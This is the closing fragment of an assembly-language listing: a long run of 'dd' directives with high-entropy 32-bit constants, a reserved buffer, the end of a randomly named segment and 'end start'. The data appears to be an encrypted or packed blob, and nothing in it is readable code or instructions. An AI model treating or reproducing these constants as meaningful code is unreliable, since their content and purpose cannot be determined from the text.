		dd 0AB2C8E20h, 8FDEBB9Fh, 0A34F6D08h, 0F5D431D5h, 1E86AA8Fh
		dd 762F5C3h, 46AE9DE9h
		dd 6F4A1DE4h, 1278852Ah, 0BF666964h, 3C11677Ch,	2B55ABA1h
		dd 1A342652h, 0E7765099h, 7BDB36F8h, 8FAA4972h,	7B20ADB9h
		dd 1FCAB15Ch, 9CF1C77Ch, 0EBD31CCEh, 0CFF01570h, 87D6A886h
		dd 9ADBF518h, 0CDCAA9A0h, 0AAC392E0h, 1F3291C8h, 0F6AE4D68h
		dd 54A7B9EDh, 0EA96F564h, 0E2F5E4B8h, 0D3BEA989h, 4E6A0937h
		dd 86669ED4h, 0B7124535h, 0A37E998Dh, 0DF8E73B9h, 0AC42D0F0h
		dd 0B389FCECh, 71B3D98h, 0DE0F5ECAh, 5B0665F4h,	0A37291BCh
		dd 6AD38D21h, 3DDAB990h, 0ED5FC67h, 2782D822h, 6731B578h
		dd 0CFC2360Bh, 1359BA9Dh, 771233F9h, 0DAF830C3h, 81921984h
		dd 0C4096A4Ch, 47600AA8h, 416B7698h, 244A292Dh,	0C5C5D9DEh
		dd 684F8E94h, 0F6ACC217h, 7E9AB965h, 6B76119Ah,	1909414Ch
		dd 297D4B6Ah, 0DF908AA0h, 8F5780D7h, 37D2F1DCh,	0AD3B7D08h
		dd 2B066C09h, 63D5530h,	762D181h, 4AC919ABh, 6F0A20DBh
		dd 0CB8610CDh, 0F281117Ch, 0C10D8D19h, 3AADDDD7h, 2B96C1A1h
		dd 0B742610Ch, 139659F7h, 0FC554974h, 8A492DC8h, 62194EA3h
		dd 634E146Eh, 5BF54BC1h, 4B7615A2h, 0FE903427h,	0F9D57D58h
		dd 0B806884h, 7B466560h, 643A9BD7h, 80677E6Ah, 0F2212D96h
		dd 0EBD6A53Dh, 776FAC47h, 858C9DF8h, 0CC4E35BFh, 7BF6E805h
		dd 10D1711Ch, 23CEEDE5h, 97C0D204h, 83E9FF1h, 0C55C69Bh
		dd 3327BB5Dh, 0DE0F5E54h, 1B0665F4h, 0A3F291BCh, 4076FA2Ah
		dd 0FF3F5D6h, 92F8C099h, 5449E1CCh, 648E5C50h, 4F1EF871h
		dd 0FBA60560h, 801045DCh, 5766FC50h, 685E638h, 0B8F5995Bh
		dd 4B102A04h, 972DABC9h, 1AC7304Bh, 1B86D1BCh, 0C9EDF58Fh
		dd 8EBCFCE7h, 0FF9B6BE3h, 44830FD0h, 9282E178h,	2BAC743Eh
		dd 47F8BDE2h, 778EFA70h, 6D2D0E43h, 0A0422783h,	9ACDC9CEh
		dd 8BF66141h, 1722C1ECh, 8698FCD5h, 0C187A0C7h,	0D886E579h
		dd 17627CB9h, 0AE490EA8h, 0BF5A7924h, 0D4FEB6BBh, 0E77B1FB9h
		dd 41B954F8h, 0AA4974h,	0FED1E5A6h, 0F7D2856Dh,	0E30E2DC8h
		dd 37A89E30h, 0B489EC17h, 696F0AF6h, 505E3D21h,	7816097h
		dd 10562F8Bh, 570BA779h, 8BE47468h, 35933A97h, 0FBD4B458h
		dd 675A424Fh, 0EA841833h, 73020974h, 3AE68584h,	0B60B795Eh
		dd 0B644BDCBh, 9FFA6D2Bh, 3F075007h, 87A2412Ch,	756A2DD8h
		dd 0FFE72457h, 5BB02580h, 0E3C3144Bh, 436E0D68h, 2BAFF9A6h
		dd 2EA1B3EEh, 2782D5BDh, 93BA5D78h, 0BAA0CF81h,	0FBE67150h
		dd 4323B42Bh, 0A38EAD08h, 540F19C4h, 9F4923Ah, 0A5B40386h
		dd 0B9D7166Fh, 5885B13h, 0EC243382h, 1CD6834Fh,	1A1A9CAh
		dd 0A9273A3Ch, 6B1675E9h, 1C0A2543h, 0E681E2C7h, 0CFAAB0C6h
		dd 8EA290DFh, 822DF1DCh, 0A30E5466h, 2A064C7Bh,	63B5530h
		dd 762F8B6h, 0CAFC28D5h, 3D5B2994h, 6E79A52Ah, 5732286Ah
		dd 0F6561857h, 0AA57964h, 2B96CCC6h, 927EF4F3h,	0A6B3DDB8h
		dd 8FEA713Ah, 4274701Fh, 8C4B11Ch, 233B995Dh, 895F1A44h
		dd 4B765509h, 0C7E2696Fh, 0D9037D18h, 66276895h, 0C3462533h
		dd 92F3DE0Ch, 83EE58E8h, 0FCD9F961h, 0E4664A98h, 7282A40Dh
		dd 0EE3D9DF8h, 4F400924h
		dd 1300h dup(?)
ye01sm84	ends


		end start